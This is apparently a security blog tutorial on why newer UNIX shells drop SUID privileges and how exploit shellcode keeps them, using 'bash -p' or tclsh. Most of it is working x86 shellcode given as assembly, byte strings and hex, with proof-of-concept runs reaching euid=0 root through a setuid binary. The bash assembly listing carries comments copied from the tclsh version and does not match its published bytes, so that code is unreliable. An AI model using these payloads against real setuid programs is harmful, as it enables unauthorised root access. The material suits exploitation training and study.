UNIX Shells dropping SUID rights in shellcodes
Introduction
Newer versions of UNIX shells no longer transfer SUID rights by default. This can be particularly annoying when creating a shellcode that works well, but opens a shell in which we do not have the correct permissions.
Here is a small example:
[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K sept 1 11:56 .
drwxrwxr-x 4 user user 4,0K sept 1 11:56 ..
-rwsrwxrwx 1 root root 127K sept 1 11:56 challenge
-rwxrwxrwx 1 user user 254 sept 1 12:01 shellcode.raw
[user@dev]:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
[user@dev]:~$ ./challenge < shellcode.raw
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
In this case the shellcode that we injected into the challenge
program did allow opening a shell, but the rights were not transferred when the shell was opened.
We will see why SUID rights are no longer transferred to new versions of shells, and how to force the transfer of these rights.
What’s going on
Most new shells no longer transfer SUID rights by default for security reasons. This does not prevent everything, but complicates the work of an attacker wanting to exploit an application. Let’s see which shells are affected by this behavior. For that I copied all the shells of my machine in a folder:
$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin 7 11:56 .
drwxrwxr-x 4 user user 4,0K juin 7 11:56 ..
-rwxr-xr-x 1 user user 1,2M août 31 22:46 bash
-rwxr-xr-x 1 user user 127K août 31 22:46 dash
-rwxr-xr-x 1 user user 1,2M août 31 22:46 rbash
-rwxr-xr-x 1 user user 127K août 31 22:46 sh
-rwxr-xr-x 1 user user 15K août 31 22:46 tclsh
Then I gave SUID root
rights to all these shells:
# chown root:root *; chmod 4777 *
# ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin 7 11:56 .
drwxrwxr-x 4 user user 4,0K juin 7 11:56 ..
-rwsrwxrwx 1 root root 1,2M août 31 22:46 bash
-rwsrwxrwx 1 root root 127K août 31 22:46 dash
-rwsrwxrwx 1 root root 1,2M août 31 22:46 rbash
-rwsrwxrwx 1 root root 127K août 31 22:46 sh
-rwsrwxrwx 1 root root 15K août 31 22:46 tclsh
Then just run them one by one to run the id
command and we get these results:
Shell | Command result |
---|---|
./bash -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./dash -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./rbash -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./sh -c 'id' |
uid=1000(user) gid=1000(user) groups=1000(user) |
./tclsh |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
We see here that the only shell that transfers SUID rights is the tclsh
shell. This will be useful for us in the following to build a shellcode for this shell.
How to transfer SUID rights
To force the transfer of SUID rights on newer versions of shells it is necessary to specify the option -p
:
Shell | Command result |
---|---|
./bash -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./dash -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./rbash -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./sh -p -c 'id' |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
./tclsh |
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
Shellcodes
Here is a shellcode that performs an execve
call on /bin/bash -p
(taken from exploit-db). It works great for binaries exploitation:
; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
global _start
section .text
_start:
mov al, 0xb ; syscall number
xor edx, edx
; Push "-p" argument to force SUID
push edx
push word 0x702d ; "p-"
mov ecx,esp ; save pointer
; Push "/bin/bash"
push edx ;
push 0x68 ; "hs"
push 0x7361622f ; "lct/"
push 0x6e69622f ; "nib/"
mov ebx,esp ; save pointer
; Passing all arguments
push edx ; char * null
push ecx ; char * args
push ebx ; char * program
; Call
mov ecx,esp ; char * args[]
int 0x80 ; syscall "execve"
Binary format
Here is this shellcode in binary format:
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
Hexadecimal format
Here is this shellcode in hexadecimal format:
6a0b58995266682d7089e1526a68682f626173682f62696e89e352515389e1cd80
Proof of concept
When we run this shellcode, it makes a call to /bin/bash -p
and does transfer SUID rights as expected:
[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août 31 22:27 .
drwxrwxr-x 4 user user 4,0K août 31 22:27 ..
-rwsrwxrwx 1 root root 4268 août 31 22:31 shellcode
[user@dev]:~$ ./shellcode
$ /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
Creating a shellcode for tclsh
We are going to use the tclsh
shell that we saw above
Here is a shellcode that performs an execve
call on /bin/tclsh
, tclsh
transfers SUID rights by default without specific options.
; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
global _start
section .text
_start:
mov al, 0xb ; syscall number
xor edx, edx
;
push edx ;
push word 0x6873 ; "hs"
push 0x6c63742f ; "lct/"
push 0x6e69622f ; "nib/"
mov ebx,esp ; save pointer
; Passing all arguments
push edx ; char * null
push edx ; char * args
push ebx ; char * program
; Call
mov ecx,esp ; char * args[]
int 0x80 ; syscall "execve"
Binary format
Here is this shellcode in binary format:
shellcode = "\xb0\x0b\x31\xd2\x52\x66\x68\x73\x68\x68\x2f\x74\x63\x6c\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x53\x89\xe1\xcd\x80";
Hexadecimal format
Here is this shellcode in hexadecimal format:
b00b31d25266687368682f74636c682f62696e89e352525389e1cd80
Proof of concept
Let’s try to run the previously created tclsh
shellcode:
[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août 31 22:27 .
drwxrwxr-x 4 user user 4,0K août 31 22:27 ..
-rwsrwxrwx 1 root root 4268 août 31 22:46 shellcode
[user@dev]:~$ ./shellcode
% /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
We note that the SUID rights are transferred to the shell! Mission accomplished
References
- http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html
- https://en.wikipedia.org/wiki/Setuid#Security_impact
- https://linux.die.net/man/1/bash
- https://www.exploit-db.com/shellcodes/13697
- http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49
- https://unix.stackexchange.com/questions/451048/from-which-version-does-bash-drop-privileges